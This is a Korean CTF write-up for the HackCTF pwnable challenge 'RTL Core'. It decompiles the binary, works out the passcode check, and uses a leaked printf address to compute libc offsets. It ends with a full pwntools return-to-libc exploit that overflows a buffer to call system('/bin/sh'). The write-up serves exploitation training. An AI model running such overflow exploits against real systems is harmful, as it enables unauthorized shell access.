nc ctf.j0n9hyun.xyz 3015
32비트 환경이다.
한번 실행을 해보자.
NX 가 걸려있는 것을 확인할 수 있다. RTL 을 사용하는 조건이겠지? 문제 이름이 RTL Core 이기 때문이다.
함수가 뭐있는지도 확인해보자.
중요해 보이는건 제목에 들어있는 core 함수와, check_passcode 함수가 중요해 보인다.
메인 문을 보자.
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+Ch] [ebp-1Ch]
setvbuf(_bss_start, 0, 2, 0);
puts(&::s);
printf("Passcode: ");
gets(&s);
if ( check_passcode(&s) == hashcode )
{
puts(&byte_8048840);
core();
}
else
{
puts(&byte_8048881);
}
return 0;
}
GDB로도 보았을 때 hashcode와 비교하는 부분을 확인하기 위해 main+106에 breakpoint를 어서 확인해보도록 하자.
오케이 좋다 edx와 eax 를 비교하는데 eax는 0xc0d9b0a7, edx는 0xfb68c9a8이다. 직전에 eax에 특정값을 가져와서 비교하므로 0xc0d9b0a7 가 hashcode가 되겠다.
사실 여러 번 실행해보면 eax값이 계속 일정하고, edx값이 계속 변하는 것을 통해서도 대충 추론할 수 있다.
IDA 에서도 확인할 수 있다.
즉 입력값으로 0xc0d9b0a7를 주면 if 문 내부로 들어올 줄 알았는데..!
&s 가 어떤 함수의 인자로 들어간다. check_passcode 안으로 들어가는 것인데 한번 또 확인해보도록 하자.
int __cdecl check_passcode(int a1)
{
int v2; // [esp+8h] [ebp-8h]
int i; // [esp+Ch] [ebp-4h]
v2 = 0;
for ( i = 0; i <= 4; ++i )
v2 += *(_DWORD *)(4 * i + a1);
return v2;
}
저런걸 거치고 나와서 3235492007라는 정수가 되어야 한다.
총 4번 도는데 4바이트씩 읽는것이기 때문에 주소값을 4씩 증가시켜 주는 함수이다.
그렇기 때문에 3235492007 / 5 를 해주면 된다. 나머지가2 남기 때문에 나중거는 2 만큼 더 더해준 값을 주면 된다.
pwntools 이용해서 코드를 짜보자.
from pwn import*
p=process('./rtlcore')
e = ELF('./libc.so.6')
pay=""
pay+=p32(0x2691f021)*4
pay+=p32(0x2691f023)
p.recvuntil('Passcode: ')
p.sendline(pay)
p.interactive()
저렇게 입력을 주고 core 함수를 실행한다. core 함수를 보자.
ssize_t core()
{
int buf; // [esp+Ah] [ebp-3Eh]
int v2; // [esp+Eh] [ebp-3Ah]
__int16 v3; // [esp+12h] [ebp-36h]
int v4; // [esp+38h] [ebp-10h]
void *v5; // [esp+3Ch] [ebp-Ch]
buf = 0;
v2 = 0;
v4 = 0;
memset(
(void *)((unsigned int)&v3 & 0xFFFFFFFC),
0,
4 * ((((unsigned int)&v2 - ((unsigned int)&v3 & 0xFFFFFFFC) + 0x2E) & 0xFFFFFFFC) >> 2));
v5 = dlsym((void *)0xFFFFFFFF, "printf"); //
printf(&format, v5);
return read(0, &buf, 0x64u);
}
일단 너에게 필요한 것은 ~ 하면서 주는 주소가 계속 변한다.
어떤 함수의 실제 주소를 출력해주는 함수인 것 같다. 아마 그 함수가 printf 함수인 듯 하다.
아 그럼 굳이 우리가 libc_base 주소를 leak 해줄 필요가 없다.
return 부분을 보니 입력도 받는다. 100개를 입력받아주기 때문에
return 부분을 system 주소로 덮어주면 되겠다.
계획을 짜보자.
printf 를 이용해서 libc_base 주소를 구해준 다음, libc파일을 이용해서 offset을 더해줘서
실제 함수의 주소를 찾아주면 되겠다.
buf 는 62 의 크기를 가지니까 payload는 다음과 같이 해주면 되겠다.
"A"*62+"B"*4+real_sys+"C"*4+real_binsh
이렇게만 써줘도 충분할 것이다.
# -*- coding: utf-8 -*-
from pwn import*
p=remote("ctf.j0n9hyun.xyz",3015)
#p=process('./rtlcore')
e = ELF('./libc.so.6')
sys_offset = 0xe8d0
pay=""
pay+=p32(0x2691f021)*4
pay+=p32(0x2691f023)
p.recvuntil('Passcode: ')
p.sendline(pay)
p.recvuntil('바로 ')
printf = int(p.recvline()[:10],16)
libc_base = printf-e.symbols['printf']
real_sys = libc_base+e.symbols['system']
real_binsh = libc_base+e.search("/bin/sh").next()
pay2 = ""
pay2 +="A"*62
pay2 +="B"*4
pay2 += p32(real_sys)
pay2 += "C"*4
pay2 += p32(real_binsh)
p.sendline(pay2)
p.interactive()
'WriteUp > HackCTF' 카테고리의 다른 글
Misc : DNA (0) | 2020.09.03 |
---|---|
Pwnable : ROP (0) | 2020.09.03 |
Forensics : 잔상 (0) | 2020.08.22 |
Pwnable : Random Key (0) | 2020.08.22 |
Pwnable : 1996 (0) | 2020.08.22 |